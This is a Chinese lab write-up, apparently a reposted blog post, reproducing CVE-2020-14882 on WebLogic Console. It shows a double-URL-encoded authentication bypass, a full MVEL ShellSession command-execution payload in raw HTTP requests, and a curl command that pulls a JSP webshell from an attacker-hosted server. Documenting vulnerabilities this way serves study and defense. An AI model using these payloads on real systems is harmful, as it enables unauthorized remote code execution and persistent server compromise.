Weblogic Console 远程代码执行漏洞复现
2023-5-14 20:2:8 Author: 渗透安全团队(查看原文) 阅读量:22 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

0x01 信息收集
  • 0x02 复现

    • 0#01 权限漏洞绕过

    • 0#02 手工提交利用

  • 0x03 学院靶场复现过程

    • 0#01 信息收集

    • 0#02 贴POC

    • 0#03 获得flag

  • 0x03 总结

  • 0x04 修复建议

    打开靶场地址,看到404页面不要慌张,先进行信息收集!

    由于是靶场,就进行目录扫描,就不用进行子域名爆破了~

    利用dirsearch进行爆破:

    python3 dirsearch/dirsearch.py -u "http://172.23.26.66:7001/" -e \*

    先访问200页面发现全是空页面,再尝试访问302重定向后的页面,发现了新天地!

    发现这是一个WebLogic, 并且有版本号,此时只用百度一下,就发现了该版本存在多个漏洞,最后我将它定位在 CVE-2020-14882

    在读完博客中大佬对该漏洞的复现之后,尝试自己进行复现并拿到webshell。

    0#01 权限漏洞绕过

    在最初的这个页面,是需要账号和用户名登录才可以进入后台,但是这里可以进行目录的骚操作来进行直接无密码登录后台。

    1. http://172.23.26.66:7001/console/css/../console.portal

    这条构造的url表示由于 ../在目录中表示返回上一级目录, 即console这个目录,然后访问该目录下的后台文件

    但是运行结果并不像我们像的那样, 还是被重定向到登陆页面

    这里就需要一些小技巧进行绕过,用burp的url编码功能对../进行编码

    1. http://172.23.26.66:7001/console/images/%2E%2E%2Fconsole.portal

    结果还是被重定向了

    将大写换成小写

    http://172.23.26.66:7001/console/images/%2e%2e%2fconsole.portal无果

    再进行一次url编码

    1. http://172.23.26.66:7001/console/images/%252e%252e%252fconsole.portal

    成功进入后台!

    0#02 手工提交利用

    此漏洞有多种利用方式,这里先赘述一下利用burp进行getshell

    利用 GET传参 test_handle传入下面POC

    1. test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

    并且传入cmd传参,如下所示,可以进行任意命令执行

    下面就该写一句话木马并且getshell了

    首先就是找到我们可以访问的目录

    博客上说 http://ip:port/console/images目录下是可以访问的,我们不妨试试

    进入这个目录里,尝试访问里面的图片

    尝试用echo命令写入木马

    成功写入木马,尝试连接会发现这里被weblogic的一些保护机制拦截了,无法访问

    接着只有找其他可以访问的目录写入木马,但是我尝试了大概2个多小时,没有发现可用目录,直到问了瑶瑶大佬才知道可以通过静态文件的方法快速准确的定位到可以访问的目录。

    下面是切换到可利用目录下的POC包:

    1. GET /console/images/%252e%252e%252fconsole.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

    2. Host: 172.23.26.66:7001

    3. Cache-Control: max-age=0

    4. Upgrade-Insecure-Requests: 1

    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36

    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    7. Accept-Encoding: gzip, deflate

    8. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && ls

    9. Accept-Language: zh,zh-CN;q=0.9

    10. Cookie: ADMINCONSOLESESSION=PG17Me6B3wrPxplUyKb0gzMERhT9gngwklINhVX9j92co34qeEkp!336989877

    11. Connection: close

    很快便锁定了这个目录,并且用同样的代码执行将木马写入,但是这里又遇到了问题,利用echo写入的木马用冰蝎无法获取到密钥,连接失败……

    又请教了瑶瑶大佬,他教我用curl将木马写入!!!~

    首先你需要一台有公网ip的服务器,并且装有python或者apache等web环境,这里利用的是python的httpserver服务进行文件共享。

    第一步:先将木马文件放在服务器的目录里,并运行cmd命令,由于网上都是Liunx的环境,但条件简陋我利用的是windows server 2012

    在该目录下运行cmd命令,调用httpserver服务

    1. python -m http.server 5000

    开启之后要注意检查物理机能否访问该文件夹,若nmap扫描结果为filter,检查一下自己服务器的安全组是否开启了对应的端口

    <img src="https://cdn.nlark.com/yuque/0/2021/png/2540809/1612682565714-fc100e63-0faf-47d5-b101-ceaa76b57f78.png" alt="QQ图片20210207152234.png" style="zoom: 150%;" />

    这里的8000理解为上面对应的5000端口即可,准备就绪,准备上马~

    将burp里的命令改为curl写入:

    1. cmd:pwd && cd ../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images && curl http://ip:5000/shell.jsp > xiaoyi.jsp

    最后尝试冰蝎连接

    连接成功,拿到webshell!~

    0#01 信息收集

    同样和上文一样使用dirsearch目录扫描,可以定位到302跳转后的网址

    0#02 贴POC

    通过上述两次url编码绕过后,利用burp抓包,将包改为如下POC:

    1. GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1

    2. Host: weblogic.vdb.aqlab.cn

    3. Cache-Control: max-age=0

    4. Upgrade-Insecure-Requests: 1

    5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36

    6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

    7. Accept-Encoding: gzip, deflate

    8. cmd:pwd&&cd ../../../wlserver/server&&ls

    0#03 获得flag

    通过此次漏洞的复现,学会了准确快速的定位到用户可以访问的目录,学会了利用curl 的方式写入文件,同时学会了利用冰蝎,python多种工具~

    该漏洞还可以利用反弹shell的方式,但我发现我没有linux服务器,不好测试,等啥时候俺有钱了一定把复现步骤补上!~

    1. 安装官方提供的补丁

    2. 使用新版本的weblogic


    付费圈子

    欢 迎 加 入 星 球 !

    代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

    进成员内部群

    星球的最近主题和星球内部工具一些展示

    加入安全交流群

                                   

    关 注 有 礼

    关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

     还在等什么?赶紧点击下方名片关注学习吧!


    干货|史上最全一句话木马

    干货 | CS绕过vultr特征检测修改算法

    实战 | 用中国人写的红队服务器搞一次内网穿透练习

    实战 | 渗透某培训平台经历

    实战 | 一次曲折的钓鱼溯源反制

    免责声明
    由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
    好文分享收藏赞一下最美点在看哦

    文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504707&idx=2&sn=24c17e1d66e055934c7d197ce9cde598&chksm=c1762eecf601a7fa1d05bfedcd1dc072f3950a51c3772d3301aafd8c164e5d197a60db99d02f#rd
    如有侵权请联系:admin#unsafe.sh